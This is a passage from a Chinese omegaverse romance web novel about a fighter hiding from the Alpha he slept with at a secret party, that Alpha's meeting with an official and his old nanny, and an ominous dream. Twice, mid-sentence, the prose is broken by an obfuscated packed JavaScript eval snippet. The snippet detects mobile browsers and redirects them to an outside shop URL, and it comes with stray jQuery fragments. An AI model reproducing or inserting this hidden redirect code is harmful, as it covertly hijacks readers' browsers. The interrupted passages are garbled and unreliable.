像是人类的本能。尽管洛城极少说谎,但在生死关头,这项技能仿佛无师自通,他甚至没有一秒钟的犹豫:“但是我走过他身边时,闻到了一股很浓的Omega信息素味,我还很诧异,心想他这么高大强壮,居然不是Alpha。” “是吧!”李志明信以为真,大喜过望:“他是个金发的外国人啊?那我赶紧跟雷哥说一声……”说着,他急匆匆掏出手机朝场馆大门走去。看着他逐渐远去的背影,洛城僵立在角落里紧张地张望着,谨慎的呼吸猝然松弛下来,变成大口大口的喘息,额上一瞬间沁出了细密的冷汗。 --------------------- 晚上十点。 闻人律锻炼完回到家,站在玄关正要脱鞋,兜里的手机就响了起来。对于深夜的来电,他惯来深恶痛绝,但在看见屏幕上的名字之后,他的神情立即变得郑重,一时间鞋也不脱了,马上接了起来:“喂,煜哥。” 对方简短地说了几句话,轻而易举地让他的眉头又拧了起来:“……一个外国人?” “对,目前得到的情报是这样的。他长得高大,又是外国人,可能是跟着某个客人进来的,没有经过蛇头那边登记。那个宴会又太过隐秘,监控是早就关了的,没有视频影像……少爷,还要继续查吗?” “查。”闻人律毫不犹豫地回答:“不管他是自己溜进来的,还是别人带来的,我都要查个清楚,免得以后稀里糊涂冒出个孩子。” “好,那我想办法继续查。” 挂了电话,他脱鞋走进屋里,打开客厅的灯,狗狗路易端坐在沙发上,鼻子轻轻抽动,正一眨不眨地看着他。闻人律抬手招一招,惯来冷淡的声音终于变得有些柔和:“路易,洗澡回来了?来,过来我看看。” 香槟金色的阿富汗猎犬长相高贵,仪态万千,长而光洁的毛发像绸缎那样闪烁着柔润的光,性格自然也如外貌一般优雅而高傲。它不为所动地偏开脸,仿佛没听见主人的话,只不过轻轻摇摆的细长尾巴暴露了它的心情。闻人律也不在意,走过去坐到它身旁,一手揽到它背上轻轻抚摸着柔滑的长毛,另一只手拿着手机给陆庭风发了条信息: 查到一点儿了,居然是个外国人。 “外国人?”这种八卦信息陆庭风向来很热衷,飞快地就回复了他:“你摸到毛多吗?” 拧眉回忆一下,对方的皮肤好像颇为滑腻,热烘烘的,贴在自己身上亲密无间,烫得令人焦灼……忽然发觉自己的思绪飘远了,闻人律猛地冷下脸,答:不多。 “那就是了。外国人喜欢剃毛,天天剃,摸上去手感应该是不错的。” 忍不住鄙夷地轻哼一声,闻人律讥讽他:你倒是经验丰富。 “是你太古板。”陆庭风毫不客气地呛回来:“你但凡随大流一点,钟书记对你也不会那么防备,你也不用那么费劲儿了。” 一针见血。闻人律不甚赞同,但也无法反驳。沉默几秒,他决定结束这个话题:明天下午三点,记得帮我把茶叶找出来,还有那几件礼物。我们一起去见钟书记。 “企划书要带吗?” 犹豫半晌,闻人律本想说“带”,但想到钟书记那个多疑又爱卖关子的性格,还是改了主意:“不用带了,明天不谈正事,先跟他攀攀交情。” “哎~”陆庭风好似很赞同:“你啊,终于开窍了。” 第二天下午四点半,一分不早,一分不迟,二人带着礼物准时到达了市郊的某家茶庄。根据张秘书给的包厢号,他俩走到三楼,轻轻敲门。几秒之后,古朴的竹制门扇“吱呀”一声打开,钟书记端坐在油润宽大的红木茶几前,微胖的脸仿佛加菲猫一般露出个温和的笑容:“来啦?快坐快坐,就等你的茶呢。” 二人先后同钟书记打了招呼,又握握手,将大包小包的礼物递到一旁张秘书手中,这才拿出茶叶,一边闲聊一边有条不紊地开始冲泡。这方面陆庭风惯来是得心应手的,他不疾不徐地打开茶罐,沁人的乌龙茶香味立即充满了整个屋子。用电子称精准地称了十克茶叶放进紫砂壶中,他一边操作一边道:“这茶呀,不能多,多则酽,香气太厚;也不能少,少则淡,缺少滋味。钟书记您这茶壶略大些,所以称十克,十全十美,刚刚好!” 他嘴里舌灿莲花的一直没停过,钟书记却只是微笑地斜倚着红木沙发,手中两个油光发亮的核桃缓缓盘着,并不搭腔。闻人律坐在一旁,莫名感觉他这笑容有些不对劲,仿佛一只蛰伏的蜘蛛,在不动声色地等待着猎物的靠近。 果不其然,在陆庭风为四人倒上香气扑鼻的茶汤之后,他眼帘轻轻抬起,视线径直射向闻人律,脸上依旧是那个不紧不慢的笑容:“……我听说,你最近在查前天晚上那个宴会?” 6. 意外的熟人 跟当官的打交道,最重要的就是要会听话听音。他们每提及一件事都不会是无意的,而且真实的目的也不会像语气那样轻描淡写。此次前来,闻人律本就打起了十二分的精神,这一刻听他说出这句话,更是全身一凛,脑中猛地响起了警笛。 下意识朝陆庭风看一眼,见他也是同样神情。闻人律喉头轻咽,在脸上调整出了一个坦然之中略带一点诧异的表情:“调查宴会?不,不是,我没有查宴会,我只是想找一个人。” “哦,是吗?”钟书记配合地回以一声讶异:“你在找谁?” 他终于端起茶杯,送到嘴边啜饮一口,但那双看似温和的眼却始终注视着闻人律,没有片刻离开过。见状,陆庭风赶紧解围道:“哎,他呀!钟书记,这事儿太丢脸了,说出来真是怕您笑话……” “哈哈哈哈,没事,你们说,也许我能帮上忙呢。”钟书记不为所动,一副打破砂锅问到底的架势。 陆庭风只得望向闻人律,用眼神示意他赶紧露个短!闻人律犹豫一瞬,好似很为难,思量着拿起茶杯缓缓啜饮一口,这才道:“钟书记有所不知……那天晚上,我本来带了一个Omega回房,但实在没兴致,聊了会儿天就把她打发走了。我正要睡觉,没想到,又来了一个Omega,而且正处于热潮期。” 说到这儿,他抬眼望向钟书记,见他认真地倾听着,眼神中略微透出惊讶,仿佛对这事一无所知。闻人律略微停顿,心中冷笑一声,继续道:“这个Omega的气味很好闻,对我胃口,我就……”说到这里,他猝不及防地卡住了,脑海中惯用的词汇……好像没有哪个能适用于这种露水姻缘的。 缠绵?亲热?……飞快地思索一秒,闻人律终于想起一个陆庭风曾用过的词:“……跟他玩儿了几回。” “哦,是这样。”钟书记一副恍然大悟的表情,随即笑道:“这不是很正常么,逢场作戏而已,就像是身体乏了去按摩一下,我不知道你要查什么。” “本来也不必查的,但是我昨天突然想起,跟那个Omega做第一回的时候,我忘了戴套。”闻人律适时露出一个无奈的笑,像是示弱,又像一种妥协:“钟书记,你也知道,我们这种家庭比较严格,哪天蹦个私生子出来,那是要被亲朋好友耻笑的。” “……原来你是担心这个啊!”钟书记听了,不禁抚掌大笑:“贤侄啊,你真是多虑啦!咱们这是自己人搞的场子,别的不说,安全性那是第一的,绝对不会坑你们。来了你就放心地玩儿,什么善后啊监控啊,通通不用担心,自有人替你料理!” “他们会监控那些Omega后续的身体情况么?”闻人律忍不住追问。 闻言,钟书记倏然敛了笑容,垂眼示意张秘书续茶。陆庭风眼尖看见,赶忙起身,拿起茶壶给他倒了八分满。此时钟书记静静望着闻人律,像老师注视一个聪明但却不够圆滑的学生,异样的沉默往往预示着警告和不满。气氛的倏然变化仿佛是一种无言的压迫,企图逼迫他识趣一些,放弃这种毫无意义的纠结。但不知为何,闻人律直觉自己不能轻易放弃——那样就太过可疑了,不是么? 端起茶杯慢吞吞地品完了一杯茶,在陆庭风焦虑得快要沁出冷汗时,钟书记终于开口了:“贤侄啊,你就是太一板一眼了。会不会冒出个孩子,对你来说,重要吗?你们这样的家庭,不至于连一对孤儿寡母都处理不了吧?” 闻人律听得心中一震,一时间没有回答。钟书记放下茶杯,语重心长地伸出食指在桌上点一点,又道:“孩子事小,但你搞出这些动静,要引人误会了怎么办?人家罗家四少辛辛苦苦组的局,为了大家的享受殚精竭虑,结果呢?你暗地里查查这个又查查那个,别人会多想的呀。要是因此有了芥蒂,以后你在申城还怎么发展?” 直到这时,闻人律才露出一丝醍醐灌顶的神色,用力点头:“钟书记说的是。晚辈考虑不周,惹大家不高兴了,该罚!哪天我去罗家,找四少赔个不是,我实在不是有心的……” “哎——不用放在心上!”钟书记终于笑起来,爽朗地一摆手,给他递了一个欣慰的眼神:“过两天正好他们找我吃个饭,你也一起去。大家喝两杯酒、聊聊天,就什么事都没有了!” “好啊,那再好不过了!” 气氛重新变得轻松。四人有说有笑地继续喝茶,无人再提及前天晚上之事。过了约莫一个半钟,钟书记看看表,说还有事要办,起身同他们道别,闻人律和陆庭风自然是一齐送他下楼。临上车前又给他拿了两件礼物,沉沉地拎在手里,说小小心意,请钟书记不要嫌弃。钟为鸣又笑了,眼睛弯弯的,一把鱼尾纹中仿佛蕴含着许多意味,轻飘飘地睨他一眼:“年轻就是好啊,好学,肯学!贤侄,再过十年,申城就是你的天下喽。” “借您吉言。”闻人律扯着嘴角,只感觉苹果肌都要僵硬了。 望着那辆低调的桑塔纳逐渐远去,两人终于得以卸下脸上的假笑,疲惫地闭上双眼,沉沉叹气。陆庭风揉揉眉心,头疼道:“刚才他说的话,分明就是警告你……那天的宴会牵扯太多了,你说只是查一个Omega,没人会相信的。” 身旁闻人律静静不语,没有回答。陆庭风扭头望去,见他浓眉紧蹙,一双眼死死盯着钟书记离去的方向,分明是个不甘心的模样。 心头一惊,他不禁叫苦:“你还想查啊?” ……这显然是不现实的。郁燥地泄了气,闻人律收回视线,忿忿道:“算了,再说吧!”咬着牙扭头便走。这话的意思就是不查了,陆庭风放下心来,忙不迭扯出个笑脸跟上去:“哎呀,其实也不一定会搞出孩子的嘛,我只是做一个最坏的猜想罢了。毕竟那些经常混场子的Omega,平常吃太多药,一般想怀孕也有点难度……” 事到如今,也只能赌一赌了。 ------------------- 在经历了第一天训练的糟糕表现之后,第二天洛城稍稍找回一些感觉,在场馆里结结实实训练了六个钟。 腰背和臀部当然还有些不舒服,但已经比较轻微,专心致志投入训练时甚至可以把那点儿不适完全忽略。在场间休息的某一刻,洛城甚至撇撇嘴,用一种轻松的态度自我审视了一番:恢复能力怪好的嘛,不愧是知名格斗选手。下一秒反应过来又忍不住唾弃自己:屁股被人捅了还能苦中作乐,真有你的! 至于闻人晴,被她冷酷分手的挫折感在经历过那一晚的可怖冲击之后,似乎已经不值一提了。现在洛城满脑子想的都是如何掩饰自己的踪迹,被女朋友甩掉什么的,怎么也比不上失身于Alpha那么丢脸……分手就分手吧。事到如今,他即使心有不甘,也没有立场再去纠缠了。 傍晚六点,训练结束之后,洛城在浴室隔间里慢腾腾地冲了个澡。那处已经完全消肿了,平整得仿佛什么事都没发生过,这显得那天晚上更像个噩梦了。恍惚地反复确认了两次,要不是走出隔间后在镜子中看见自己肩膀上的咬痕还印在那儿,洛城真要以为自己中了邪。那个清晰的、整齐的、犬齿痕迹分外明显的咬痕……他记得对方压在自己身上的重量,沉重而结实。那是一个年轻的Alpha,而且家境显赫。 幻想一秒自己被逮到后有可能发生的事,洛城不禁猛打一个寒颤,赶忙扯好衣领,拿上运动背包走出了更衣室。 傍晚是运动员下训的时间。大堂之中人群熙熙攘攘,洛城心不在焉,接连撞到了两个工作人员。在即将走出大堂时,他抬起头,忽然看见玻璃幕墙外面立着一个身穿黑色包臀长裙的窈窕身影。只一眼,他就认出了那是闻人晴,接近一米八的修长身材和低头看手机时露出来的清瘦脖颈,自己绝不可能认错。 她似乎在等某个人。至于在等谁……训练馆离她家不近,她在这儿也没有别的朋友,答案当然再明显不过。 胸膛不禁一紧,洛城鬼使神差地转过身,逃也似地走向了另一个出口。一股难以言喻的挫败和耻辱感涌上心头,令他走得愈加急促,仿佛只要慢一秒,那天晚上发生的事就会暴露于大庭广众之下。 ……要是让小晴知道自己的前男友被一个Alpha上了,她也会感到恶心的吧。 垂头丧气地打了个车回家,当走进家门时,洛城才想起自己晚饭还没吃。开了灯颓丧地倒进沙发里,摸出手机正准备点两份健身减脂餐,他蹭一蹭整洁的沙发,忽然间意识到什么,飞快地起身回望,才发现自己丢在沙发上的西装居然不翼而飞! 不禁吓了一跳,那瞬间洛城惊出一身冷汗,心想那人居然如此神通广大,这么快就查到这里了?! 周身的体温如浴雪般骤降,直过了五六秒,他才缓缓回神:今天好像是钟点工敏姨上门的日子……那套西装,估计被她拿去干洗了。 长吁一口气,他脱力地又倒回去,好半晌才拿起手机,给敏姨拨去电话:“喂,敏姨……我阿城啊。我那套西装,就丢在沙发上的那套,你是不是帮我拿去干洗了?” “啊,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572140|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呀。”敏姨的声音温润而乐观,笑盈盈的,顺便还责备他一句:“你呀,老是把衣服乱丢。那么贵的西装,被你搞得不成样子,害我在干洗店多等半个小时。” 敏姨跟妈妈是好友,之前葬礼也是她帮忙操持的,洛城对她很是感激,对于这种亲昵的责备自然是照单全收:“那天回来太匆忙了……以后我一定会放好的。” “好啦,跟你开个玩笑而已,知道你忙。那套西装我帮你挂起来了,在衣柜里。不过我好像弄掉了一个袖箍?整理的时候只发现一条……阿城,你有带回来吗?” 袖箍?洛城被问得呆了一瞬,心说那是什么东西,我没有啊。下意识正要回答,脑中忽然电光一闪,想到会不会是那个人的……?赶忙将话咽回去,他控制着呼吸干涩道:“哦,没事,可能我回家时弄丢在的士上了,麻烦你了敏姨。你,你吃饭没啊?我刚要点外卖,要不帮你也点一份?” “不用啦。今天她们包饺子,催我赶紧回去呢……哎我要赶公车了,不跟你说了啊!” “哦,好……”还没说再见,对面就匆忙挂了电话。洛城看着屏幕愣神一会儿,忽然间翻身而起,冲到房里打开衣柜,就见那套西装平平整整地挂在衣柜里。一条金棕色的袖箍正搭在衣架的小钩子上,精致的黄铜锁扣在灯光下轻轻晃动,反射着柔和的光。 不禁死死瞪着它,洛城心中天人交战了十数秒,这才缓缓伸出手,将那条袖箍拿到眼前,警惕地细细打量:粗细均匀的编皮花绳连接着段金棕色的金属弹簧,接口处扣着玫瑰纹路的黄铜锁扣,做工十分精细,一看就是高档货。 忍不住用指腹细细描摹锁扣的花纹,洛城心想,一般贵金属首饰的内侧总会有商家的印记……将它翻个身,果然,背面刻了一个小小的钢印:LH。 LH?是主人的名字缩写,还是品牌的名字? 赶紧摸出手机查询,得到的却都是些无关的结果。不甘心地又加了一些关键词,比如“袖箍”、“西装”之类,却依旧一无所获。洛城坐在床边傻愣了半晌,最终泄气地将手机往被子里一丢,郁闷地放弃了。 算了,反正现在风紧……等这阵子过去了,再慢慢打探吧。 本想将袖箍挂回原处,但那晚的记忆过于惨痛,洛城心烦意乱的,转而把它丢进了床头柜里。 ---------------------- 今天下班还算早,不到七点就坐上了回家的车。吩咐司机开快一点,闻人律靠在后座上企图试图养神,脑子里却乱哄哄的,老忍不住思索那天晚上发生的事情。 为了隐私保密,那三层楼的监控都提前关闭了,所以查不到对方是怎么开的门。听说他是个外国人……那个身高和肌肉,确实不无道理。闻人律还记得自己抓了几次他的头发,那是一种微微粗糙的卷发触感,有点儿像以前留学时遇见的西班牙同学的发质。还有……还有什么特征?哦,他好像很爱接吻,嘴唇微厚,很软……外国人喜欢丰唇,这也是有可能的。 想到那天晚上不断亲吻自己的柔软嘴唇有可能是科技的结果,闻人律郁郁地睁开眼,总感觉骨鲠在喉。他不禁想,自己是不是应该开始一段新的恋情了?找个比较顺眼的Omega,Beta也不是不可以,好好上几次床,把那一晚的触感覆盖过去……不然时时想起,怪膈应人的。 心中烦躁,他打开车窗,正准备抽一支烟。平稳行驶的车子忽然一个急刹,车前一个人慌张地呆立在马路中央,几乎要被车头正正撞上! 司机吓得面色煞白,回头先看他一眼,确认老板没什么大碍之后,便忍不住探出肩膀冲那人大叫:“大姐,你乱跑什么呀!撞到你怎么办!” “不、不好意思,我想赶公交车……”对方显然也吓得不轻,声音打着颤,不住地鞠躬道歉。闻人律的烟都甩掉了,脑袋也撞到前座,碰得有点儿疼。他烦躁地揉着额头,伸手拍拍驾驶座:“行了,没撞到人就好,走吧。” “……下次小心点儿啊!”心有余悸地最后骂一声,司机后怕地坐回来,刚准备发动车子,闻人律不经意间往窗外一瞥,正看见那个莽撞的阿姨抬起头来,在明亮的路灯下露出了一张熟悉的脸。 “敏姨!”他不禁愕然低喊出声,赶忙欺到窗边伸手拦她:“敏姨,怎么是你!” 对方茫然地停下脚步望向他,在经过短暂的辨认之后,这个略显苍老的五十七岁阿姨露出了惊喜的神情:“律少爷!……真是你啊,你都长这么大啦!” 7. 胎梦 打开门将敏姨接上车,闻人律退开一个身位让她坐下,先仔细打量了一番她与往日大相径庭的容颜,这才问:“敏姨,你要去哪里,我送你去。” 车子平稳地朝望海路行驶着,暌违十年的主仆二人聊起近年的经历,一个轻描淡写,一个惜字如金。敏姨浅笑着说:“……我回去之后,照顾婆婆,伺候老公,日子也就那样吧。存下来的钱我放在夏管家那里,只带了一万多回去。老公花完了,又问我要,我说没有,他不信,又打又骂……直到抢走我银行卡查了余额,他才罢休。” “后来呢?”闻人律问。 “后来没两年,我婆婆就病死了;又过了一年,老公跟同族兄弟一起去工地做事,从脚手架上摔下来,也走了。大伯哥说我只生了个女儿,又不是A,没资格继承房子和地,把我赶了出来。不过说实话,那种乌烟瘴气的地方,我才不想待呢。我转头问夏管家取了钱,去投奔女儿,帮她带了三年小孩。前几年小孩上幼儿园了,学费挺贵,我就寻思着出来找点儿事做,贴补一下她。” “这么说,你来申城有四年了?” “其实是三年。第一年我还是在女儿那边市里找事做,后来听人说申城的活儿多,酬劳又高,我才过来的。”说到这儿,敏姨真情实意地笑了起来,眼尾拉扯出许多鱼尾纹:“一开始我还担心这边不好做呢,没想到第一年就忙得我团团转,活多得做不过来!申城的年轻人呀,都不喜欢做家务的,我就帮他们打扫卫生、做做饭,单做钟点工就赚了不少钱。现在做了三年,积攒了一些老客户,还交了不少朋友。今天我赶着回去,就是要跟街坊们吃饺子呢。” “是吗,那挺好的。”难缠的婆婆和烦人的老公都死了,现在有钱赚,又有好友,难怪敏姨开朗了不少。想到这儿,闻人律不禁有些意动:既然敏姨在申城,不如邀她来家里做住家阿姨……这时,敏姨在边上好奇地问他:“少爷你呢?你怎么来申城了。” “想开个新公司,这边创业环境好,就过来了。”工作上的事,闻人律向来言简意赅,对旁人并不多言。敏姨犹豫地“哦”一声,沉默几秒,又忍不住问:“……你不继承老爷的公司吗?” 继承?闻人律不屑一顾地笑笑,轻描淡写道:“不想跟他牵扯太多。” 闻言,敏姨好像松了口气,放心地笑起来:“也好。老爷他太专制了,他一回家呀,我们连大气都不敢出……你离开他,凡事才能自己做主,不受他管束。” 想不到他们也是如此想法,闻人律颇为意外地看敏姨一眼,这次的笑容真切了许多:“敏姨,我现在养狗了,一只大狗,站起来有一人高。” “真的啊?”敏姨惊喜地叫起来,显然也很为他高兴:“少爷,你十四岁的愿望,现在终于实现啦!” “是。”此刻气氛融洽,时机上佳,闻人律斟酌了两秒,开口道:“敏姨,既然你也在申城,不如来我家当住家阿姨吧?我开的工资绝不会比你现在赚的少,你只照顾我的话,工作也会轻松很多。而且我家里没有别人,只有一只狗狗,你会很自在的。” 这样的条件不可谓不诱人,敏姨听了,眼神明显很是心动。但她犹豫半晌,还是歉意地摇了摇头:“少爷,我知道你大方,给我的报酬肯定很丰厚。不过我现在过得挺好的,街坊热闹,雇主体贴,又很依赖我……这不,有个姑娘炖了羊肉,叫我明早去打扫卫生时,顺便拿一碗走呢。他们都把我当亲人了,一时半会儿离不开的。” “……是吗。”语气黯淡下来,闻人律垂下眼帘,属于成年人的面容中混入一丝少年般的不甘:“我也不急于这一时,敏姨你再考虑考虑吧。哪天改主意了,就给我打电话。”问她要了手机,把自己的号码输进去,此时望海路到了,敏姨歉意地应了声“好”,随即不舍地打开门下了车,道别离去。 望着她略微发福的矮小背影,闻人律的视线渐渐没了焦距,思绪中混入一丝说不清道不明的惆怅。 ……明明第一个把你当亲人的是我。他这样想。 半晌,他回过神,视线又变得冷静清明,望向前方的司机:“走吧,送我回家。” ------------------------ 那天晚上,闻人律做了一个梦。 他梦见自己回到了六岁的时候。某个夏天的下午,他午睡醒来,家里安安静静的,听不见一丝人声。他走下楼梯,来到客厅的落地窗前,才终于看见了坐在庭院里聊天的帮佣们。其中一人是新来的保姆,四十来岁的Beta女性,专门照顾他的,此时对方正好奇地跟负责做饭的兰姨打探着什么,眼神殷切而惊讶。 打开紧闭的窗,空调的冷气“呼呼”地冲出去,他也因此听见了她们交谈的内容: “你不用特别做什么,就照顾好少爷的衣食起居就行,不需要跟他太亲近。” “不需要吗?可是……不亲近的话,怎么体现出我做得好呢?” “那是别人家的标准。在闻人家,你跟少爷越亲近,被解雇得就越快。少爷一岁时那个保姆就是这样,照顾得太用心了、太亲密了,那阵子少爷正好学说话,不知怎么的,居然叫她作妈妈!老爷听得大发雷霆,马上把她解雇了。从那之后,一旦保姆跟少爷太亲密,他就立马辞掉换新的。所以啊,你要是想做得长久,可得把这个度把握好了……” ……原来是这样的么? 六岁的闻人律不禁回想起上一个保姆,那个亲切的、会在睡前给他掖被角的短发阿姨,在某个寻常的周末毫无征兆地离开了。连同那些睡前故事、那些温柔的触碰,通通消失无踪。 他扁扁嘴,默默地关上了窗户。 梦醒时,闻人律浑浑噩噩地坐起身缓解了许久,那股令人烦躁的起床气才终于消散。拿起床头手表看时间,八点十五分,此时钟点工应该做好早餐又遛过狗了。 下床打开房门,客厅里果然只有路易一个,正扒着根巨大的狗咬胶漫不经心地啃咬。听见声音,它立即抬起头与主人对视,嘴角边拉出长长的唾液线,眨眼间滴到了木地板上,源源不断地积成一小滩。 闻人律头疼地撇开了眼。 洗漱后来到餐厅,保温盒里放着一份牛肉三明治、两个煎蛋和一杯牛油果蛋白粉奶昔,煎蛋还是温热的。看见蛋白粉奶昔,闻人律忽然想起今天是健身日,早上十点要去训练馆跟丁教练上搏击课。但愿林秘书帮他把工作都挪开了……拉开凳子坐下,他一边吃早餐一边打开手机确认信息,唔,早上确实是空的。这样正好有时间去锻炼,顺便也可以看看洛城训练得怎么样了。 搏击课那天,闻人律一般会自己开敞篷跑车,不疾不徐地慢慢兜风过去。开车是他唯一能放空自己的时间,通往训练馆的路僻静而宽阔,两侧行道树虽不如老城区的高大,但也能投下些许树荫。他就在这些树荫与初夏的微风中到达训练馆,换上运动服迈着轻快的步子走向VIP训练室。 然而,这一切的好心情都在看见无所事事的曹教练之后戛然而止—— 心说莫不是洛城又出了岔子,闻人律的脸色一瞬间阴沉下来,大步走到盘腿坐着正玩手机的曹磊身旁,用脚尖踢了踢他的膝盖:“洛城呢?” 猝不及防抬头看见他,曹磊吓了一跳,赶忙爬起身道:“他……他说他来了,可能在跑步吧?” “跑步?”朝窗外运动场看一眼,跑道上慢跑的运动员中分明没有那个惹眼的身影,闻人律面目森冷,眼看着又要火山爆发了:“在哪儿呢?” “呃,”曹磊看看手机,一个钟前洛城确实说他已经到训练馆了,“可能……在健身房跑步机那边?” ……他最好是! 沿着八角笼朝器械区走去,闻人律压抑着怒气,走到角落时却冷不丁看见一个人侧身蜷缩在垫子上面,卷着外套睡得正熟。看见那头熟悉的黑色天然卷发,他不禁一愣,狐疑地拧眉凑过去,就见洛城紧闭着双眼,嘴唇微张,睡得旁若无人,甚至还在打小呼噜! 真是离谱!闻人律气得发笑,一大早来训练馆不好好备赛,居然躲到一旁睡觉? 忍不住一脚踹上他的小腿肚,洛城懵懂地猛抬起头,撑起上半身茫然回望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572141|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没有焦距的视线最终落到闻人律身上:“……律总。”他含糊不清地这样咕哝。 慢腾腾地爬起来,洛城好像很累,打了一个大大的呵欠。闻人律控制着隐怒的表情冷瞪着他:“你很困吗?……想睡不如回家去睡,顺便跟教练组请个假,这样他们还能休息一天,不必在这儿干等着你!” “我就是跑完步有点困,小睡一下。”哑声辩解一句,洛城指指外头,又指一指角落放着的跳绳:“八点钟我就来了,跑了五公里,又跳了两千个绳,见他们还没到,才去睡觉的。” 他扭头时,光洁的后颈处露出一个浅浅的咬痕,边上还有两个正在消散的淡淡吻痕,闻人律一看便拧起了眉:恐怕是宴会那一晚跟人厮混留下来的……呵,心态调整得真快啊,这就从失恋中走出来了。 眼神中顿时露出鄙夷之色。洛城回过头,猝不及防对上他这样的视线,那瞬间只感觉心神僵滞,有什么东西疲乏地倒塌四散,完全没了解释的欲望。 罢了、罢了,不信就不信吧,反正这人对自己的偏见也不是一次两次了……摆摆手,洛城懒得再解释,错开身往曹教练那边走:“我训练去了,拜拜。” 扭头望向他略显疲惫的高大背影,闻人律蹙着眉心,视线又不禁被他后颈上那几个淡淡的痕迹吸引了过去。他忍不住想,自己那一晚应该没有在那个Omega身上留下痕迹吧……?后面几次肯定是没有的,不过第一回合有点意乱情迷了,他也无法确定。 轻啧一声,他沉着脸懊恼离去,那面色却让曹教练误会了。曹磊颇为紧张地迎到洛城面前,关切地抬眼望他:“律总又训你啊?” “没事。”洛城也不大高兴,沉着脸满眼烦闷,抬手蹭一下鼻子:“我习惯了。” 他来到八角笼门口开始活动手臂脚踝,轻呼一口气,若无其事道:“要做击靶训练了吧?” “嗯。”曹教练依旧担忧地望着他,不放心道:“阿城,你是不是不舒服?如果不舒服的话,我们早上可以休息……” “没事,就是有点困而已。”洛城不以为意。 “这样吗?昨晚你没睡好?” “也不是没睡好……”说到这儿,洛城停顿了一下,拧眉道:“就是做了一个怪梦,睡得不沉。”闻言,曹磊没再深究,转而招呼靶师开始热身准备。倒是洛城呆立在那儿,失神地回忆了好半晌。 他是梦见了一个小姑娘,约莫两岁这样,头发乌黑、皮肤雪白,但不会说话。她应当是迷路了,长久地停留在自家门口,蜷缩着不愿离去。洛城问她,你是谁,从哪儿来?她摇摇头,不说话;洛城又问,你知道你家住在哪里吗?记不记得家里的电话?她又摇头;洛城头疼地思索一会儿,不抱希望地问了最后一句:你记得不记得爸爸妈妈的名字? 这时,小姑娘伸出手,坚定地指向了他。 “我?”他失笑地睁大眼,以为小姑娘是认错了人:“爸爸跟我长得很像是吗?” 没想到,小姑娘摇摇头,直接张开两只小手抱了过来,软软地扑进他怀里。那一刻,洛城奇异地感觉到了一丝血脉相连的诡异亲近感。仿佛这个小孩儿是他身上掉下来的一块肉,如此亲密、如此贴心,本来就该安稳地依偎在他怀里。 ……原来这是我女儿呀! 梦中的自己没有片刻犹豫,立即接受了这一事实,开开心心地将小丫头接进了屋里。然而一跨进玄关,怀中的孩子便不见了,消失得无影无踪。取而代之的是自己的小腹开始隐痛,像针扎一般,在很深的地方,比肠子更靠后一点的位置。 洛城“嘶”一声,捂着肚子跌坐在地,就这样醒了过来。 然而小腹深处依旧在痛。 拿过手机看一眼,才六点多。他咬牙蹭进厕所里,在马桶上坐了半天,却没有拉肚子的意思。倒是那股隐痛在等待的过程中慢慢消散了,小腹又恢复平顺,仿佛什么都没有发生。心说大概是肠胃炎吧?洛城没放在心上,洗漱过后便换上运动服,漫不经心地出了门。 这只是平淡生活中一则微不足道的小插曲罢了。 8. 偏心得太明显了 那天之后,洛城开始变得有些嗜睡。 虽然他以前也是倒头就睡的那种人,但一般睡够了八小时便会精力满满,连午休都不需要,可现在却连训练间隙的半个钟都能睡着。曹磊看在眼里,疑惑在心里:难道是教练组拟定的训练计划强度太大了?然而翻出洛城上一场比赛的训练记录仔细查阅,二者又大差不差的,基本上没有什么强度差别。 “是不是感冒了?”他问洛城。洛城吸吸鼻子,又晃晃脑袋,并没有滞涩迟钝的感觉,便摇摇头:“应该不是……我就晚上睡得不踏实,老半夜惊醒。” “要不去按摩松解一下?我看你也是时候松松筋骨了,这样应当能睡得沉一些。” “……也好。”洛城答得不甘不愿的,惯来满不在乎的脸上居然透出心悸的神色,看上去就跟害怕打预防针的小孩儿似的。曹教练不禁乐了,一巴掌拍上他肩膀,取笑道:“阿城,行不行啊?入行几年了,还怕筋膜刀?” “你不怕啊?”冷不丁被说中心事,洛城恼羞成怒,一翻身将曹教练勒住,差点儿做了个达斯绞:“要不你跟我去!我俩同甘共苦,一起共渡难关?” “哈哈哈哈哈我就不用了!”真动起手来,馆内没几人能在洛城手下走过十招的,曹磊也很快被勒得连连告饶。旁边人都看得大笑不止,其中一个年轻选手叫周青云的,是洛城迷弟,看热闹不嫌事大地爬到笼子边缘,挂在上头嘻嘻哈哈:“曹教练,行不行啊,连三招都没撑过?” 立刻被曹磊一毛巾甩到脸上:“滚去训练!你还没拿下THE ONE的合同呢,到处浪什么!” “还没拿下合同?”早都听说他的经纪人在跟THE ONE赛事那边洽谈了,居然到现在还没搞定,洛城不禁也问了一嘴。周青云顿时振奋,没心没肺道:“已经跟他们谈好了,这次比赛如果能以KO或者TKO拿下胜利,那就能签合同了!而且晋哥帮我谈定的出场费还不低,每场比赛至少二……” “哎哎哎打住打住,这个不用跟我说!”赶忙制止他,洛城忙不迭爬起来往笼外走:“我要去按摩室了,你好好训练,争取拿下KO。” “哎,好,我一定好好训练!” 年轻人咋咋呼呼的喊叫声被他甩在身后,直到转了个弯,洛城才龇牙咧嘴地松一口气。周青云这小孩儿哪里都好,天赋不错、训练积极,就是性子太跳脱了,又过分热情,那种狂热的崇拜真是让人无福消受……还是冷淡一点比较舒服。 